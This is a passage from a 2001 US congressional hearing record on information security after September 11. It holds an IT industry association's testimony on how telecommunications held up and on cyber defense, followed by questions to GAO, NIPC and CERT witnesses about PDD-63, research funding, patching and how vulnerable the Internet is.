services—responded brilliantly. The IT industry absorbed the blow and came back
strong.

T also want to reject in the strongest possible terms the charges made by Clinton White
House Chief of Staff John Podesta in a Washington Post editorial last week that the IT
community does not understand the importance of societal safety and security.
Information security is one of ITAA’s top priorities. As one who personally worked
closely in the Clinton Administration with the Attorney General, the Secretary of
Commerce, National Security Council officials, and met with the President and Mr.
Podesta on these matters, I am disappointed Mr. Podesta would make this incorrect
statement. Close collaboration between IT companies with government officials on
safety and security issues took place during the Clinton years and is even stronger today
under the Bush Administration. IT companies understand full well the high priority of

! Internet Week, “IT Scrambles to Restore Order,” Mitch ‘Wagner, Septemnber 20, 2001
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safety and security: what they reject are impractical approaches to addressing these
challenges.

The World Trade Center and Pentagon attacks are a strong case in point.
Telecommunications firms and Internet Service Providers in the US and around the globe
have provided law enforcement with information from their user and connection logs to
aid in the investigations. IT companies across the US are offering new or enhanced
technological capabilities to assist in security challenges, such as heightened airport
screening.

In my testimony, I will describe how the nation’s investment in information technology
kept the lines of communication open in the midst of chaos, how it saved the business of
many companies that found themselves directly in harms way, and how it has contributed
to strengthening our community in the aftermath of this senseless destruction. I would
also like to take a moment to talk about practical steps we can all take in the weeks ahead
to help harden our information infrastructure and advance the cause of homeland defense.

IT at Ground Zero

From the first passenger cell phone calls on the doomed American and United airline
flights, information technology has played a critical role in helping authorities understand
the dimensions of and respond to this national emergency. In the immediate aftermath of
the World Trade Center attack, voice, data and video communications became critically
important for understanding the scope of the disaster, directing relief efforts and locating
missing people. Unfortunately, some of the necessary communications infrastructure was
located at ground zero:

e Verizon’s switching office at 140 West St. in Manhattan, supporting 3.5 million
circuits, sustained heavy damage. Verizon Wireless lost 10 cellular transmitter
sites :

e AT&T lost fiber-optic equipment in the World Trade Center and had switching
equipment damaged in a nearby building. Remarkably, AT&T switching gear in
the basement of the World Trade Center continued to function

o Internet Service Provider Earthlink lost two of 14 dial up numbers in the
downtown area
Sprint PCS wireless network in New York City lost four cells
Cingular Wireless lost six Manhattan cell sites
Worldcom lost service on 200 high-speed circuits in the World Trade Center
basement

A spokesman for AT&T called the square mile around Wall Street “the most telecom-
intensive square mile in the world.”

2 IDG News Service, “Carriers Report Steady Recovery in Manhattan,” Scarlet Pruitt, September 21, 2001



157

Exacerbating the situation, the spike in demand for communications on September 11
proved to be enormous. Websites such as The New York Times, CNN and NBC News
had zero percent availability between 9 and 10 a.m. that morning,® Traffic slowed on the
Internet, with average response times from the most popular e-business sites slipping
from 2.5 to seven seconds.* AOL Instant Messenger logged 1.2 billion messages—100
times usual message volumes’ AT&T reported that long-distance traffic doubled by
midday. Verizon also said its call volume in Manhattan was roughly twice the normal
115 million per day.° Cingular Wireless experienced a 400 percent increase in call
attempts.”

But the bottom line is that even with all of this destruction and intense demand,
telecommunications in Manhattan and Arlington, VA, scene of the Pentagon attack, bent
but did not break. The Internet provided millions of users with an alternative route
around clogged or destroyed New York circuits, providing a frantic public with critical
services for finding loved ones—services like email, instant messaging, and voice over
the internet phone calls.

Meanwhile, communications carriers scrambled to reroute their fiber optic cables, remap
circuits to new locations, and roll in Cellular on Wheels Systems (COWS). Some firms
provided wireless telephones to disaster site workers. One week after the attack, Verizon
announced that it had restored 1.4 million of 3.5 million data circuits, and the New York
Stock Exchange had phone and data service to 14,000 of its 15,000 lines.® The exchange
handled 2.37 billion transactions without incidents on its first day back in operation. In
fact, many customers in New York found that their communications problems stemmed
not from destroyed telecommunications hardware but from power failures and stalled
diesel generators.

Obviously, a coordinated government response to the disaster was badly needed. In
downtown Manhattan, the Federal Emergency Management Agency (FEMA) established
a disaster field office (DFO) at New York’s Pier 90 with satellite link for voice and data
communications to its regional center in Bluemont, Virginia. The agency later
supplemented the link with a T1 voice and data line, 600 wireless lap top computers,
Spectralink wireless phones, programmable radios and other resources.”

How important was the Internet as a source of information about what was happening
during the terrible hours of September 11? According to a poll conducted by Harris
Interactive, 64 percent of people online used the Internet as a source of information.

3 Network World, “Internet, Telecom Networks put to Test in Wake of Terrorist Strikes on U.S., September
17, 2001

4 Internet Weck, “Site Operators Regroup,” L. Scott Tillett and Tim Wilson, September 20, 2001

* Interactive Week, “Safety Net,” Randy Barrett et al., September 17, 2001

S Dow Jones, “Verizon Says It’s Ready for Trading,” September 18, 2001

7 Computerworld, “Nation’s Networks See Sharp Volume Spikes After Attacks,” Bob Brewin, September
17, 2000

& Dow Jones, “Verizon Says It’s Ready for Trading,” September 18, 2001

? Infoworld, “Rapidly Deployed Communication Networks Drove Emergency Relief Efforts,” Dan Neel et
al., September 21, 2001
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Twenty-six percent of those online used the Internet to email friends or family to check
on their safety, and 17 percent received an email checking on them. And almost half of
those online used the Internet to discuss the bombings with others. Clearly, the Internet
helped to strengthen the fabric of the American community during some of the most
critical hours in our history.

Under incredibly trying circumstances, our nation’s communications infrastructure
withstood the test. Communications companies rose to a tragic and deeply traumatic
occasion. Through the darkest week in the nation’s history, Americans remained
connected. And the investment in the world’s greatest telecommunications system paid
enormous dividends.

Mitigating Disaster

While recovery operations at ground zero make us all proud, a less visible but very
important series of activities has taken place to sustain the operational integrity of
businesses damaged in the attacks. This is the work performed by disaster recovery firms
such as Sungard and Comdisco. These and other companies in the emergency back up,
disaster recovery and business continuity sector provide a critical safety net to their
corporate and government customers. While the type and degree of services vary, the
basic idea of disaster recovery service is to have a redundant set of applications and data
available at a remote facility in case of emergency. Maintaining geographically dispersed
facilities assures companies that a single attack or natural disaster cannot destroy their
information assets. Hundreds of companies have turned to Sungard and Comdisco for
disaster recovery in the current crisis.

Companies can, of course, elect to maintain their own dedicated networks and data
storage facilities at off-site locations. Large companies with multiple data centers go this
route, but even these firms may elect to have a disaster recovery contract in place to test
systems and mitigate risks. Others with smaller budgets can take advantage of the cost
efficiencies of the Internet and web-based data storage firms to acquire an important
measure of disaster recovery support.

Unfortunately, many companies operate without this type of service in place. One
vendor estimates that 150 of the 350 businesses in the World Trade Center bombing of
1993 experienced disruptions sufficient to put them out of business a year later.'®

This suggests that Business Continuity Planning (BCP) may be the bright line between
companies that emerge from disasters with a future—and those that do not. A business
continuity plan identifies the mission critical processes and applications of the company
as well as the interdependencies both inside and outside the enterprise necessary to
support such functions. The plan determines the potential impact of outages in each area
and prioritizes them in terms of their impact to the business. In this methodical way,
risks can be identified and contingency strategies developed. Strategies could include a
decision not to take any action whatsoever, modifying or adapting the mission critical

10 Ziff Davis Media, “Safeguarding Data,” Max Smetannikov, September 17, 2001
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process in some way to avoid the perceived risk, maintain the process as is but attempt to
eliminate the risk itself, and identifying the steps that must be taken to recover if and
when the interruption occurs.

It appears that much of the contingency planning that prepared organizations to face the
Year 2000 date conversion challenge was utilized in the current circumstance. I echo the
comments of Comptroller General Walker in his testimony before the Senate
Governmental Affairs Committee yesterday that much of the planning that went into
meeting the Y2K challenge will be helpful in the efforts against terrorism. I also expest
to see people employ their own contingency planning by equipping themselves with
multiple options for communication in a crisis, including cell phones, notebooks, and
wireless handhelds. One issue that needs further but quick examination is the need to
create more redundancy in our telecommunications infrastructure, particularly diversity
of egress and ingress in buildings with major telecommunications facilities. Having
backup telecommunications systems that are located in the same part of a building and
that go in and out of the building through the same pipes may create a false sense of
security. This issue is especially important when essential government
telecommunications systems are involved.

Tech Industry Shows Its Heart

Some contingencies can barely be imagined, much less planned for in advance. Much of
the horror of the September 11 attacks comes from the unimaginable depravity of the acts
themselves. Still, even in the face of madness, the IT industry demonstrated its resilience
and importance to the nation’s critical infrastructure. The industry also demonstrated its
heart in the aftermath of these attacks. For instance, several leading companies
responded to the attacks by creating www libertyunite.com, a website committed to
providing convenient access to philanthropic organizations helping America recover from
this tragedy. Libertyunite, which President Bush mentioned in his address to the nation
last week, has collected over $80 million in public contributions to date.

IT companies also-made important individual contributions:

¢ AOL Time Warner brought an 18-wheeler carrying 42 Internet connected
computer terminals to New York City, provided 500 melile communicators, and
supported command and control functions between the mayor’s command center
and police headquarters. The company also said it would donate $5 million to the
relief effort.

s Cisco Systems donated $6 million to key relief and support organizations in
affected areas

e  Ebay will attempt to raise $100 million within 100 days for relief efforts through
its Auction for America.
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e Microsoft donated $5 million to the September 11 Fund and an additional $5
million in technical services 1o local, state and federal governments and nonprofit
organizations.

¢ Amazon.com and Yahoo have helped raise millions of dollars through visitor
donations on their respective websites.

Other IT companies have contributed in other innovative ways. MCSi and PictureTel, for
instance, joined together to offer free videoconferencing services to those caught up in
this maelstrom. The service provides family members a chance to visit, doctors to
consult, and emergency relief workers the opportunity to compare notes. RecoverNY
Data Services is a consortium of IT companies created to provide toll free telephone
support and assist companies that lost data with assistance, consultation and technical
support. Compagq is building Internet:kiosks for Red Cross service areas in New York
and Washington, D.C. Computer Associates is offering technical support and EMC is
providing backup facilities. ~ Numerous smaller IT software, hardware, services and
telecommunications firms donated computers, software, telecommunications equipment,
and IT services. More IT companies are announcing their contributions every day.

Cyber Defense

All of this outreach is commendable. None of it changes the fact that upwards of 6,500
people may have died in the terrorist attacks. The price of these lost lives is beyond
reckoning. We dare not let down our guard to terrorism ever again.

“Homeland defense™ is a phrase we are just beginning to understand. T applaud the
selection of Pennsylvania Governor Tom Ridge to head up this new office and wish him
every success in hardening the nation for the War Against Terrorism. Many people are
unsure what homeland defense means and unclear on how they can participate.

As Gov. Ridge begins to pull his office together, I would like to suggest an immediate
action:  safeguard US. computer assets by adopting much more widely sound
information security practices. The Internet was not the direct target this time, but I think
we can see that it may become the target of terrorism in the future. How would the
Internet have responded if the incredibly quick-moving NIMDA worm appeared on
September 11 instead of one week later?

Attacking the Internet could sever an important channel of communication, eliminate a
vital news and information conduit, and disrupt businesses large and small. If attacked in
tandem with other critical infrastructure, such as telephone and television networks,
widespread public turmoil could quickly ensue. The communications network that is so
essential to the basic community of our nation would be harmed.

Practicing information security as part of homeland defense could pay large dividends in
the future. Simple steps for most Americans would include changing computer
passwords frequently, keeping antivirus software definitions up to date, reading software
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publisher alerts and, as necessary, downloading software patches. Consumers and small
businesses should also turn off computers connected to the Internet via cable modem or
digital subscriber line when not in use. Such practices will help lock the door on those
hoping to wreak havoc through Internet outages. ITAA is working with other industry
organizations and government on a public education campaign that will be rolled out in
the next few weeks.

Large companies and governments will likely be the primary target of attack and, as a
consequence, should establish and practice a series of information security processes and
methods. September 11 should have pushed information security, in addition to physical
security, to the top of every responsible company’s agenda. I would like to think that the
subject now has the attention and backing of senior management in every organization.
The steps necessary here are more involved and require the attention of trained computer
professionals. ITAA members stand ready to assist organizations starting to implement
or upgrade their information security practices. We also publish a directory of
information security providers to help guide the search for this type of assistance.

Summing Up
I would like to conclude my testimony with a series of observations.

The terrorists did great harm to the United States and to civilized people wherever they
live. We must not add to their perverse accomplishment by doing harm to the Internet.
This would be the case were we to take precipitous action in areas like encryption.
Strong encryption features in commercial software protect the privacy and bolster the
security of computer users. Were these features not to be easily available, terrorist
groups would simply write their own ciphers. Cryptography as a method of protecting
information comes to us from ancient times. To borrow a popular adage, take strong
encryption features from software and only terrorists will have strong encryption.

Wrong-headed action on encryption will tie the hands of legitimate computer users;
wrong-headed action on federal procurement will tie the hands of government agencies
trying to field the best IT solutions during a national emergency. One such action
presents itself as part of the Department of Defense Authorization Act. The Abercrombie
Amendment seeks to preserve government jobs while diminishing the ability of the
Defense Department to draw on the abilities and expertise of the private sector. This is
an odd course to follow as the nation readies itself for war. As this conflict unfolds, IT
will doubtless play a critical role in command, control, and communications, intelligence
gathering, smart weaponry, logistics and numerous other applications. And as official
Washington’s attention shifts to war fighting efforts, the effective use of information
technology by civilian agencies to deliver essential government services will become
event more critical. The Abercrombie Amendment is marching us in exactly the wrong
direction.

In light of the current emergency, the U.S. must stay the course on its technology agenda.
In particular, we must work for widespread public acceptance and use of high speed
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Internet service. As more Americans defer or eliminate personal travel, broadband
applications like videoconferencing and webcasting will become increasingly important.
Employers who once opposed telework may now be more willing to make this option
available to employees, once high speed Internet connections are available to make
working from home practical. Now more than ever, the nation needs to put aside
regulatory wrangling on this issue and establish a positive, competitive broadband
agenda.

On September 11, we learned an important lesson about the capacity of terrorists to
practice evil. In the aftermath, we learned an important lesson about this nation’s ability
to pull together in the face of adversity. And for those listening closely enough during
this truly terrible time, another lesson still: the IT industry works.
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Mr. HorN. I wanted to start in on just a couple of items, and
then we will get to a dialog.

Mr. Willemssen, being the very thorough type that he is, he has
a long series here of some of these groups that have acted; and I
just want to clarify one thing.

On page 4 you say, the Russian Hacker Association offered over
the Internet an e-mail bombing system that would destroy a per-
son’s Web enemy for a fee, and that the source is the United King-
dom Ministry of Defense Joint Security Coordination Center. I just
wonder is there any relation to the Russian Government, or is this
just some group of people with Halloween night or something?

Mr. WILLEMSSEN. I believe it is the latter, Mr. Chairman.

But to be precise on the answer to that question, I would prefer
to answer it for the record. If I could followup on that and get you
the specific answer, I will do that.

Mr. HORN. Good. I appreciate that. At this point in the record,
without objection.

[The information referred to follows:]
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The example GAO cited in its written statement on an e-mail bombing offer by the
Russian Hacker Association was taken from the March 22, 2001, NIPC Daily Report—a
daily information security e-mailing produced by the Federal Bureau of Investigation’s
National Infrastructure Protection Center (NIPC), which provides such information for

informational purposes only. The full text of this specific item is as follows:

According to an Open Source Collation (OSC) Bulletin the Russian
Hacker Association (RHA) is now offering over the Internet an e-mail
bombing system that will destroy a persons “web enemy” for a fee. For a
fee of $249.00, the RHA claims their hacker group will configure two
robot e-mails in the Hong Kong are to send 24 e-mails every minute for a
24-hour period, thus disabling the ‘enemy’s’ e-mail inbox. (Source: UK

Ministry of Defense Joint Security Coordination Center)

This account did not indicate any involvement by the Russian government, and searches
of information publicly available through the NIPC or the United Kingdom Ministry of

Defense provided no additional details.
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Mr. WILLEMSSEN. Also, Mr. Chairman, in following up on that,
I believe there was an NIPC report on that particular incident that
we will be able to identify and get back to you on.

Mr. HORN. Yes. Because that is serious business. If it is with the
Russian Government, we need to confront them on that in a quiet
way and get this—see what they are doing on it.

I want to next go to Presidential Directive 63. What I am inter-
ested in is, when that was developed, was GAO asked on it? Was
the CERT group asked to take a look at that? And did the FBI
have an opportunity to look at that and—as a matter of just get-
ting the best you can in a Presidential directive.

So how did that work? Did anybody get with the White House,
say, hey, you guys know a lot of this, what do you think?

Mr. Dick. From my standpoint, PDD63 was already in existence
before I became a part of the Center. However, my esteemed col-
league here, Mr. Vatis, who I worked for for a period of time, I
think was part of the commission that was in the development of
that. So I am going to defer to him.

Mr. HORN. Mr. Vatis.

Mr. VATiS. The history of PDD63 was that it stemmed from a
Presidential commission composed of both government representa-
tives as well as representatives from the private sector who issued
a report in 1997, I believe, looking at the vulnerabilities of the Na-
tion’s critical infrastructures to both physical and cyber attacks.
PDD63 then was pulled together by an interagency working group
led by the National Security Council.

So there were representatives from the Department of Justice,
from the FBI, from the Department of Defense, all of the intel-
ligence community, as well as all of the other civilian Federal agen-
cies involved.

There was not a great deal of private sector involvement in the
development of that Presidential directive. There was private sec-
tor development, though, in the followup development of a national
plan for information system protection.

Mr. HorN. Well, as you look at it now, going back about 5 years
or so, does that need expansion, and were things not put in there
that should have been put in there?

Mr. VATIS. Mr. Chairman, my personal view on the PDD was
that it actually did set forth a good structure—not the be-all and
end-all structure, but certainly an excellent start. My principal
problem with the PDD, though, was the lack of enforcement of its
terms about various agencies’ responsibilities and the lack of re-
sources to support the various responsibilities that were created.

The NIPC is a perfect example of an entity that was given mas-
sive responsibilities and only a drop in the bucket of the resources
that were required to do the job. I can say that more freely now
that I am no longer in the government. But I don’t suspect anybody
would disagree with me.

And that is only an example. Many agencies that were given re-
sponsibilities under that directive considered those responsibilities
to be basically unfunded mandates, because they were not given
new resources to perform those new responsibilities. And that is a
continuing problem. You can have the greatest plan in the world,
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but if the resources aren’t allocated to perform the responsibilities
under that plan, nothing much will get done.

Mr. HORN. To whom should that budget allocation go?

Mr. VATIS. Do you mean, sir, who is responsible for making these
allocations?

Mr. HOrN. Right. You are saying it is a mandate, and usually
over the years we have worried about that. If, say, it is a mandate
to the State or a mandate to the cities or whatever, through
HUD—so where do you think we are missing the

Mr. VaTis. I think it has to start with the executive branch, and
the President’s budget submission each year I think needs to have
resources allocated to meet all of the directives that have been
given to the various government agencies. Then Congress can, in
turn, examine those proposals and respond accordingly with appro-
priations. But it must start, I believe, with the President’s budget
submission.

Mr. PETHIA. The CERT coordination center also worked closely
with the Presidential commission prior to PDD63 and also after-
wards with the implementation plan.

The other thing I would like to mention is that in the original
work of the commission and hinted at in the PDD63 was the call
for increased research in the area of information assurance.

The problem that we are struggling with today are real strug-
gles. I personally think we are getting farther behind than we are
ahead. But I think that we are going to have even bigger problems
in the future.

So as we put immediate near-term solutions in place, we also
have to look down the road 8 to 10 years to begin to think about
the kinds of threats that we will see then, and the research com-
munity and the technology community is going to struggle to meet
these needs without an expanded research agenda.

Mr. HORN. Well, is that because, Mr. Vatis, I believe, said on the
software, and others have said the same thing, if you are thinking
10, 15 years out when you have got—almost every day something
new comes in Silicon Valley, all over the country, and how do we
deal with that then? Do we have a constant team that looks at this
ar;d says, hey, this can also be mischief. So how would you go about
it?

Mr. PETHIA. Today an awful lot of what we do with recognizing
attacks and dealing with them are done by people, people who are
watching the systems. I believe we can work toward new genera-
tions of technology that are much more aware of what is going on,
whether or not they are being attacked; and we need the engineer-
ing framework that will support the construction of these kinds of
systems.

Today, information assurance is very much an ad hoc art, and we
need to turn it into an engineering discipline like civil engineering.
So that is area that I propose where we can build the basic frame-
works and mechanisms and methods that will allow us to build
systems that will adapt over time to meet the new threats.

Mr. Dick. A couple of quick comments.

The main mission of the Center or the impact of the Center is
to reduce threats to our critical infrastructures. The goal is to de-
tect and deter and prevent those attacks before they occur.
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One of the things that was highlighted, and rightly so, in the
GAO report was our need to improve our strategic analysis. And
one of the things that we are doing through Mr. Vatis and Dart-
mouth is a project to kind of look over the horizon and what the
technologies will be in the future, to identify those kind of
vulnerabilities associated with that so that we can better prepare
the critical infrastructures from a technology standpoint as to what
those vulnerabilities are and what the appropriate response mecha-
nism should be.

So it’s a multi-faceted approach, insofar as information assurance
is concerned, from the ability to detect, assist, and warn of those
vulnerabilities. It is a huge effort that is going to be built upon a
partnership between the private sector, academia and the govern-
ment; and I think we are building that trust up, which 3, 4, years
ago was in its infancy, but I think it is growing. And Harris is
right. We have come a long way from where we were in the ability
to communicate with each other.

Mr. MILLER. I would just like to add that—the sort of the third
leg of the stool, to confirm what Mr. Pethia was saying about the
need for more research money. The fact of the matter is, Mr. Chair-
man, that in most corporations which do spend tons of money on
research—but, really, it is mostly short-term development and
short-term. What we really need is a long-term—frankly, it is going
to have to be a government-funded research agenda.

Following the distributed denial of service attacks in February
2000, the Clinton administration proposed a $50 million supple-
mental appropriation to create a new research and development
center. Because it was an election year and all kinds of other rea-
sons, that proposal never got very far, though. I do believe that Mr.
Vatis’ center has gotten a small amount of funding for kind of a
micro version of this.

But I know the IT community feels very strongly and certainly
echos what Mr. Dick said and Mr. Pethia has said, that there
needs to be government-funded research focused on long-term in-
formation security challenges. And also the subsidiary benefit of
that, as you and I have discussed before, Mr. Chairman, that also
helps another problem which Mr. Pethia outlined, which is it pro-
vides more funding for graduate student assistance and research,
which gets more computer scientists trained as information secu-
rity specialists, which is another challenge that we have.

So I think that this R&D topic is very, very important going for-
ward. It doesn’t help us today or tomorrow, but in the long-term
it helps to protect our IT infrastructure.

Mr. HORN. Well, we certainly have a number of people here that
are already working on that, Mr. Dick and the FBI. Are you think-
ing of a section in NIPCs which I think there is a section on the
patent operation and so forth in the Department of Commerce.
What role would you see for them?

Mr. MILLER. We think that NIPCs plays an important role.

Following the proposal, Mr. Chairman, made by the Clinton ad-
ministration, there were a series of meetings chaired by then direc-
tor of the Office of Science and Technology Policy, Dr. Lane, and
Dick Clark, from the National Security Council, where you brought
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industry and government and academia together to discuss the best
structure of this.

And, no, no final conclusion came out of it. There was a sense
that it should not be totally centered within NIST, that would be
a mistake. Now, NIST needs to be a part of this. But you need to
have a role so that industry and academia also have leadership.
Because if it simply becomes another government grant program
where government officials sit there and respond one on one to spe-
cific research requests coming from the universities or other not-
for-profit organizations, it won’t really meet its mission.

We felt from the industry standpoint that, for example, a struc-
ture that we could have a director of this operation from NIST, but
the deputy director would come from industry, for example. So you
would have a tremendous amount of industry input to make sure
that the government-funded dollars didn’t go to duplicative re-
search that was already done being done by the corporate sector.

The challenge, Mr. Chairman, is—as you can appreciate is indus-
try wants to make sure that research being done with these gov-
ernment taxpayer dollars is simply not duplicating what has al-
ready been done in the labs of IBM or Microsoft or Network Associ-
ates or all these companies that specialize in these areas.

That is the challenge that we face. But we do believe that it can
be overcome, and we believe that we can resurrect the conversa-
tions that took place in 2000 and move quickly if Congress decides
to fund such a larger center at a larger scale which we believe is
necessary.

Mr. HORN. Certainly Mr. Pethia’s group, the Software Engineer-
ing Institute at Carnegie Mellon, they certainly have a long track
record on this; and we certainly depended on them. I think that is
where the thought came about the software.

Would you like to elaborate on that, how we can build into the
software so that some of these worms and all of the rest can’t get
in there? And why isn’t Silicon Valley doing some of that? Because
they would make billions of dollars if they could be assured that
a complex hardware and all—so I just wonder what you see on the
horizon right now?

Mr. PETHIA. A couple of points I would like to make.

One of them is, the roots of much of the technology that we have
today didn’t come from the Internet, per se. The Internet infra-
structure itself was originally a Dartmouth-funded research
project. It was installed as a demonstration of how to build large-
scale, robust and reliable networks that would withstand attacks,
and I think the Internet infrastructure has done that.

Over time, we began to use it for different purposes for which it
wasn’t designed. At the same time, one of the major early operating
systems on the Internet was the UNIX operating system, which
again came from a university research environment. It was devel-
oped primarily to allow software practitioners ease of development
of software, not necessarily ease of use or secure use.

Much of what we have on our desktop computers today really
came from the personal computer world of years ago where per-
sonal computers were intended to be just that, personal, not con-
nected to anything else and therefore not subject to attack from the
outside. What we have done is we have taken these older tech-
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nologies and we have networked them together into something that
now doesn’t have the security characteristics that we need.

But since we have this huge installed base we now have all of
this legacy software that we have to deal with, so we can’t change
it quickly. However, we do know from our software engineering
work that there are techniques that can build systems that are
much more robust, much more secure, and have many fewer errors
than what we typically see today. And there I think it is a matter
of recognizing that we won’t get there quickly. We have got to give
industry time to make the transition from one to another but also
help the industry understand that there is a common belief in in-
dustry that many of these techniques require extra cost, slow
downtime to market and hamper features. That is not the case. We
have plenty of data now to demonstrate that.

But it is a learning curve for industry to recognize that they can’t
put new practices and processes in place without having the nega-
tive side effects that they necessarily might think that they would
have.

There will be an initial upfront cost as organizations go through
this learning curve and change the way that they engineer their
systems. There will be for the short-term—very short-term—a slow-
down in productivity and a lengthening of development process.
But as they become more proficient using these new techniques, in
fact, they get benefits in terms of being able to produce software
more cost effectively and actually improve their delivery schedules.

Mr. HORN. Under the current legislation, the Office of Manage-
ment and Budget is really responsible for overseeing computer se-
curity in the Federal Government. They have put various types of
surveys out. We haven’t seen them yet. But I think we have found
in this hearing that there is a lot of—numerous deficiencies that
government computer networks ought to be working on.

I think in the last week or so, where we have the Office of Home-
land Security headed by Governor Ridge of Pennsylvania—and I
certainly remember when we were on the Y2K bit that Governor
Ridge was the Governor in the country that was doing the most on
Y2K within the Commonwealth of Pennsylvania. What do you
think about having the Office of Homeland Security have this re-
sponsibility within the executive branch? And if not that—because
the problem with OMB, they have got too much to do, and this isn’t
going to be done unless somebody has it done.

This certainly relates to Governor Ridge, for whom I have a high
respect. And I think if you were in the Chamber, as were all Mem-
bers of Congress, when the President made that announcement, it
was absolute thunder in the 400 or so of us that were there that
night.

If not, what other things do you see that we ought to have that
will pull these things together and not have to have a congressional
committee sort of goad it, which is what we did from 1996 to 2000
as most of you know, and eventually the President did something
about it. But, we need that on a constant, steady, sensible basis.

Mr. MILLER. Mr. Chairman, I continue to advocate very strongly
the creation of a position of information security czar within the
government. You and I have discussed this at previous hearings at
which you have allowed me to testify. Whether Governor Ridge
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wants to take on the responsibility obviously is his decision. But I
agree with you there are some excellent people at OMB. But they
simply have too many other things on their plate right now.

I think that having one person in charge who plays the same role
as Mr. Koskinen played so brilliantly during Y2K, not with a big
budget, not have a big staff, but having the ear of the President
and the Vice President, therefore being able to be a very persuasive
person for government officials is absolutely essential if we are
going to make the progress.

That along with the other issue that Mr. Vatis addressed, which
is a sufficient budget resource for the agencies and departments,
again, not to buildup a big bureaucracy for this czar but to make
sure that the individual CIOs and other people have a budget.

Without those two elements, Mr. Willemssen is going to be back
here giving you the same report year after year after year.

Mr. HORN. Well, it is always a pleasure.

Speaking of that, you are going to check that Russian hacker
thing.

Mr. WILLEMSSEN. Yes, sir.

Mr. HORN. Mr. Dick, will you check that, too?

OK, I have wound that up now. So we are going to get back to
a few things just for the record.

Now why haven’t some Federal agencies even succeeded in iden-
tifying their most critical systems—under that Presidential Direc-
tive 63—which required that they do it by December 2000, and
they haven’t really done it.

So do you have any feelings on that, Mr. Willemssen?

Mr. WILLEMSSEN. Well, I think it is instructive to go back to an
issue that you raised previously and also Mr. Miller raised, and
that is going back to Y2K. We know that when agencies started in
earnest on that particular effort they also did not have a good han-
dle on their computing infrastructure, that over time they did gain
a much better understanding of what they had and how it contrib-
uted to their various lines of business.

One of the issues that you and I have chatted about shortly after
Y2K was over was the concern that the momentum would be lost
that had been started by this—much better management of IT in
Federal agencies overall, better understanding of what they had
and how it contributed to their missions.

That is what will be very useful to see the upcoming agency re-
ports that will be submitted on information security, to see if in-
deed that momentum was lost and some agencies are now having
to go back and do reassessments that they already had in place but
they didn’t continually update.

So there is a potential for almost a reinventing the wheel syn-
drome, which, if that is the case, that would be very unfortunate
that we lost that sense of urgency and didn’t continue down that
path of improved IT management.

Mr. HORN. Well, in the next few months we will know whether
we are getting the kind of information we need to go through this
or not. Maybe they are just playing the same games that the pre-
vious administration did, but I would like to think that they have
a chance to just say, hey, it wasn’t our situation. But, here, we just
got everybody moving on this, and I haven’t seen that at this point.
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Mr. Pethia, as a person with extensive knowledge of Federal op-
erations, what actions do you think are the most important to im-
prove the computer security at Federal agencies?

Mr. PETHIA. I think what you mentioned earlier—the need for
the agencies to identify their critical assets, their critical informa-
tion assets, and then to put in place within each agency——

Mr. HORN. Is that really an inventory idea?

Mr. PETHIA. It is an inventory idea, but it is not a simple inven-
tory. We have had a lot of experience in helping agencies, also
helping organizations in the private sector do exactly this. And
what we discover in both cases is that, very often, since informa-
tion infrastructures and functions sort of buildup over time, if you
look inside any organization there is no focal point anymore, no one
any longer remembers what all of these pieces are and how they
interconnect.

So there is an analysis process that you have to go through to
understand, first of all, the mission of the organization, the critical
functions it provides, and then map that onto the information in-
frastructure.

So it is not just looking at the hardware, it is looking at the func-
tions of the organization. I think that is the start, to identify where
the critical needs are and, based on that, to be able to form a pro-
tection strategy that focuses on meeting those critical assets.

What we saw too often is people trying to let me say peanut but-
ter information security technology across their entire infrastruc-
ture. By doing that, they very often miss the critical components
and also end up in some cases spending much more money than
they need to because they are protecting things that are, in fact,
not that critical.

Mr. Dick. Mr. Chairman, there is one thing that I would like to
comment on. It was mentioned by Harris and Mr. Willemssen both.
One of the things that we can do now—it is going to take time for
research and development to modify the software and tools that are
out there now. But something that we can do now that both of
them mentioned was putting in place policies and procedures that
actually implement a practice of information security.

Many of the—we work very closely within the NIPC with CERT
and SANDS and ITAA and the private sector to identify the, if you
will, the top 10 common vulnerabilities that are out there and for
which there are patches for to repair the systems. What we have
determined is that a high number of the intrusions and problems
that we have experienced could have been eliminated if systems
administrators in the industry had just downloaded the patch and
repaired their systems. I mean, probably 80 percent of the issues
that I see in the NIPC wouldn’t be issues because the vulnerability
wouldn’t continue to exist.

For example, I think one of the reasons that the Nimda issue
was minimized as quickly as it was is that we had gone through
Code Red, we went to a high visibility on explaining what the vul-
nerability was, because in both of those issues the patch was avail-
able prior to the spread of the worm. It was just a matter of sys-
tems administrators didn’t repair these systems.

But it is even more of a problem today, because not only do you
have to, with the advent of Internet connections and DSL connec-
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tions, we have to get—reach the home user to implement these
kind of patches, too.

But I think if we could develop and teach people good informa-
tion security, good information assurance practices we could see
some substantial results.

Mr. HORN. Let me ask all of you, how vulnerable is the Internet
itself to terrorist attacks and what would it take to bring it down
and what would it take to not bring it down?

Mr. VATIS. If I could address that just briefly.

The analysis that we did over this past weekend of the possibility
of attacks by terrorists, their sympathizers, state sponsors of ter-
rorism or others shows that the possibility is there to take down
significant portions of the Internet and the critical infrastructures
that rely on the Internet.

Many of the vulnerabilities are ones that have been there for a
long time. But things like routers and domain name servers and
the like, which are critical to the functioning of the Internet and
the communications across it, are vulnerable attacks that can have
wide-scale consequences.

The problem is, as Mr. Dick alluded to, that a lot of these prob-
lems are well known, yet they are not being addressed because of
a lack of resources or lack of prioritization from the top. We can
have system administrators in a company, in a government agency,
who are very well-intentioned, doing the best that they can, but if
the CEO or if the secretary of an agency doesn’t really care about
security, then the system administrator is not going to get the re-
sources and the attention that it needs to really implement a pro-
gram, policies, procedures, technology and people to get the job
done. So all of those things are critical.

But the bottom line answer to your question is, we are extremely
vulnerable and will continue to be until these sorts of problems are
addressed in a systematic way.

Mr. PETHIA. Building on what Mr. Vatis says, I think the good
piece of the news is that much of the Internet is very resilient and
very robust and able to recover from attack. But there are those
few key points like the domain name servers that don’t have
enough redundancy, don’t have enough ability to quickly recover
from attacks that are successful. I think if we focused in on those
kfey points we could make a great deal of progress in a short period
of time.

Mr. HORN. As I remember, a few years ago, Mr. Willemssen, I
had asked the General Accounting Office to take a look at the
aging of both hardware and the software in the executive branch.
I don’t know how much we ever got of that or whether OMB took
it over. But if you are coming up to a congressional group, we
ought to have some good facts that we could say this is why you
should invest in this infrastructure. I know you have wonderful
studies over there, and I look at all of them, and I don’t know if
that one sort of just went to GSA or whoever. But, we need to sort
of get a partial analysis maybe and/or take a couple of agencies
that we really look and see what is there and what isn’t there.

Mr. WILLEMSSEN. Well, we recently briefed your staff on the re-
sults of that, the information that we were able to acquire from a
variety of sources, including OMB.
